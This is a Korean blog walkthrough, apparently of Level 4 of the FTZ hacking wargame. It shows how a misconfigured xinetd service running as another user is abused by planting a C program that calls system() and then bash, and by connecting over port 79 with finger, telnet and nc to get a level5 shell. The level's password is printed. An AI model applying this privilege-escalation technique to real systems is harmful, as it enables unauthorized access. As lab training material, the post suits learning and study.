ftz.hackerschool.org의 이미지를 가지고 실습했습니다.
-Level4
level4 / such my brain
[level4@ftz level4]$ ls -l
|
합계 12 -rw-r--r-- 1 root root 50 2월 24 2002 hint drwxr-xr-x 2 root level4 4096 2월 24 2002 public_html drwxrwxr-x 2 root level4 4096 11월 29 17:49 tmp |
|
[level4@ftz level4]$ cat hint
|
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.! |
|
[level4@ftz level4]$ cd /etc/xinetd.d
> 백도어를 숨겨 놓았다고 하니 일단 들어가 봅니다.
[level4@ftz xinetd.d]$ ls
|
backdoor daytime finger ipop3 rlogin services time chargen daytime-udp imap ntalk rsh sgi_fam time-udp chargen-udp echo imaps pop3s rsync talk cups-lpd echo-udp ipop2 rexec servers telnet |
|
> backdoor 가 있다.
> 많이 보던 telnet도 보인다. ( 서비스 종류에서 알아 봤듯 standalone 방식과 xinetd 방식이 있다. )
[level4@ftz xinetd.d]$ file backdoor
|
backdoor: ASCII text |
|
> backdoor 가 프로그램이 아니라 ASCII text 이다.
[level4@ftz xinetd.d]$ cat backdoor
|
service finger { disable = no flags = REUSE socket_type = stream wait = no user = level5 server = /home/level4/tmp/backdoor log_on_failure += USERID } |
|
> 어디서 많이 본듯한 형식이다.
> service 이름은 finger ( 여기의 이름은 /etc/services 파일에 들어 있어야 한다. -> 포트를 지정해줌 )
> socket_type 이 stream 으로 보아 TCP 프로토콜을 사용 ( UDP(dgram) )
> wait 는 말그대로 기다린다는 것
-> 연결을 하면 다른 사용자가 기다린다는 의미로 yes를 하면 하나의 커넥션만 연결되고 끊어질때까지 다른 사용자는 기다린다.
> user가 level5 로 되어 있으니 이 서비스를 사용하면 level5 권한으로 연결되는 것 같다.
> xinetd 에 의해 실행되는 데몬 파일은 /home/level4/tmp/backdoor 이다.
[level4@ftz xinetd.d]$ cat /etc/services | grep finger
|
finger 79/tcp finger 79/udp cfinger 2003/tcp # GNU Finger |
|
> 79번 포트를 통해 접속한다.
[level4@ftz xinetd.d]$ ls -l /home/level4/tmp/backdoor
| ls: /home/level4/tmp/backdoor: 그런 파일이나 디렉토리가 없음 |
|
> 어떤 데몬이 서비스 되는지 확인해봤더니 파일이 없다..
> 만들어야지..
[level4@ftz xinetd.d]$ cd ~/tmp
|
#include<stdlib.h> int main() { system("id"); return 0; } |
|
> 간단하게 id 를 출력하는 코드를 넣고 서비스가 실행되면 이 파일이 실행되는지 확인한다.
[level4@ftz tmp]$ gcc -o backdoor backdoor.c
|
uid=3005(level5) gid=3005(level5) |
|
> /etc/xinetd/backdoor 파일에 있던 서비스 이름 finger를 사용하여 실행해보니 /home/level4/tmp/backdoor가 실행됬다.
[level4@ftz tmp]$ finger level4@localhost
|
^[[H^[[J Level5 Password is "what is your name?". |
|
> backdoor.c 의 id 부분에 my-pass로 바꾸고 다시 실행했더니 약간의 오류가 뜨는 것 같고 잘 되는 것 같다.
> 오류가 뜨길래 몇번 더 해봤더니..
[level4@ftz tmp]$ finger level4@localhost
|
파이프가 깨어짐 |
|
> 완벽한 방법이 아닌 듯 하다.
[level4@ftz tmp]$ finger level4@localhost
|
bash: line 1: level4 : command not found id my-pass |
|
> 그냥 bash로 바꾸고 다시 실행해보니 같이 오류가 조금 뜨고 쉘이 뜨는거 같은 대 답이 없다.
|
Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. id; uid=3005(level5) gid=3005(level5) : command not found my-pass; Level5 Password is "what is your name?". : command not found exit; Connection closed by foreign host. |
|
> telnet 으로 79번 포트로 진입하여 명령어를 사용하니 잘 된다.
다른 방법으로는 nc 명령어가 있다.
[참고] nc(netcat) 명령어
# yum -y install nc
# nc 192.168.17.200 79
> 결과는 위의 telnet과 같다. ( ; 안쳐도 됨 )
'Security > 리버싱' 카테고리의 다른 글
Race Condition(레이스 컨디션) (0) | 2017.11.29 |
---|---|
Level5 문제해결 (0) | 2017.11.29 |
(암기) backdoor 만들기 (0) | 2017.11.28 |
Level3 문제 해결 (0) | 2017.11.28 |
Level2 문제 분석/응용 (0) | 2017.11.28 |